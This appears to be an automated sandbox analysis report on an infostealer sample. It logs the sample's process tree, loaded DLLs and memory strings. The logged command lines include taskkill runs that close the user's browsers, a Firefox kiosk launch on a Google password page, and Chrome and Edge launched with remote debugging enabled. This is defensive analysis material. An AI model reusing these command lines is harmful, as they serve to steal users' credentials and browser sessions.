Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: ba324316e4.exe, 00000012.00000002.3523244570.000000006C45F000.00000002.00000001.01000000.0000001A.sdmp, ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 90c05232da.exe, 00000011.00000003.2945035159.0000000005679000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2909829461.000000000568B000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2909252338.00000000056A8000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3258769641.0000000005A38000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3132842802.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: ba324316e4.exe, 00000012.00000002.3522202843.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2216,i,16623074290101822103,4127853333489822360,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9af8acac-d82e-404a-bbad-cf8fed735087} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b2ad6dd10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe "C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3996 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4000 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9e82d6b-f9d3-4a6b-aefc-e2407323a6a3} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b3d23cb10 rdd
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2092,i,5938001379590901427,3594052689996707155,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1956,i,10990248225639772836,11182380420133072802,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe "C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2216,i,16623074290101822103,4127853333489822360,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9af8acac-d82e-404a-bbad-cf8fed735087} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b2ad6dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3996 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4000 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9e82d6b-f9d3-4a6b-aefc-e2407323a6a3} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b3d23cb10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2092,i,5938001379590901427,3594052689996707155,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1956,i,10990248225639772836,11182380420133072802,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
